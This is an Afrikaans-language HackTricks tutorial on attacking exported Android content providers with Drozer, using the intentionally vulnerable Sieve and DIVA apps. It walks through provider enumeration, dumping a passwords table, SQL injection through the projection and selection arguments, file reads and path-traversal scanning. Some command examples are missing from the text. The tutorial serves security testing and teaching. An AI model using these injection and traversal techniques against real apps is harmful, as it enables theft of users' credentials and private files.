Exploiting Content Providers

Uitbuiting van Inhoudsverskaffers

Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Inleiding

Data word verskaf van die een aansoek na die ander op versoek deur 'n komponent wat bekend staan as 'n inhoudsverskaffer. Hierdie versoeke word hanteer deur die metodes van die ContentResolver-klas. Inhoudsverskaffers kan hul data op verskeie plekke stoor, soos 'n databasis, lêers, of oor 'n netwerk.

In die Manifest.xml lêer is die verklaring van die inhoudsverskaffer vereis. Byvoorbeeld:

<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>

Om toegang te verkry tot content://com.mwr.example.sieve.DBContentProvider/Keys, is die READ_KEYS toestemming nodig. Dit is interessant om op te merk dat die pad /Keys/ toeganklik is in die volgende afdeling, wat nie beskerm word as gevolg van 'n fout deur die ontwikkelaar nie, wat /Keys beveilig het maar /Keys/ verklaar het.

Miskien kan jy toegang verkry tot private data of van 'n kwesbaarheid gebruik maak (SQL Injection of Pad Traversal).

Kry inligting van blootgestelde inhoudsverskaffers

dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False

Dit is moontlik om saam te stel hoe om die DBContentProvider te bereik deur te begin met URI's met "content://". Hierdie benadering is gebaseer op insigte wat verkry is deur die gebruik van Drozer, waar sleutelinligting in die /Keys gids gevind is.

Drozer kan veral URIs raai en probeer:

dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

Jy moet ook die ContentProvider-kode nagaan om te soek na navrae:

Ook, as jy nie volledige navrae kan vind nie, kan jy ondersoek watter name deur die ContentProvider verklaar word in die onCreate-metode:

Die navraag sal wees soos: content://name.of.package.class/declared_name

Databank-ondersteunde Content Providers

Waarskynlik word die meeste van die Content Providers gebruik as koppelvlak vir 'n databank. Daarom, as jy daartoe toegang kan verkry, kan jy dalk inligting ontgin, opdateer, invoeg en verwyder. Kyk of jy gevoelige inligting kan benader of probeer om dit te verander om outorisasiemeganismes te omseil.

Wanneer jy die kode van die Content Provider ondersoek, kyk ook vir funksies wat genoem word: query, insert, update en delete:

Omdat jy hulle sal kan aanroep

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com

Voeg inhoud in

Deur die databasis te ondersoek, sal jy die naam van die kolomme leer, dan kan jy data in die DB invoeg:

Merk op dat jy in invoeg en opdateer --string kan gebruik om 'n string aan te dui, --double om 'n dubbeldik aan te dui, --float, --integer, --long, --short, --boolean

Werk inhoud by

Deur die naam van die kolomme te ken, kan jy ook die inskrywings verander:

Verwyder inhoud

SQL Injection

Dit is maklik om vir SQL-injeksie (SQLite) te toets deur die projeksie en seleksieveld wat aan die inhoudverskaffer oorgedra word, te manipuleer. Wanneer jy die Inhoudverskaffer ondersoek, is daar 2 interessante argumente om na inligting te soek: --selection en --projection:

Jy kan probeer om hierdie parameters te misbruik om vir SQL-injeksies te toets:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type  | name             | tbl_name         | rootpage | sql              |
| table | android_metadata | android_metadata | 3        | CREATE TABLE ... |
| table | Passwords        | Passwords        | 4        | CREATE TABLE ... |

Outomatiese SQLInjection-ontdekking deur Drozer

dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence

Lêerstelsel-ondersteunde Inhoudsverskaffers

Inhoudsverskaffers kan ook gebruik word om lêers te benader:

Lees lêer

Jy kan lêers van die Inhoudsverskaffer lees

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Padtraversie

Indien jy lêers kan toegang verkry, kan jy probeer om 'n Padtraversie te misbruik (in hierdie geval is dit nie noodsaaklik nie, maar jy kan probeer om "../" en soortgelyke truuks te gebruik).

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Outomatiese Paddeurontdekking deur Drozer

dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider

Verwysings

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated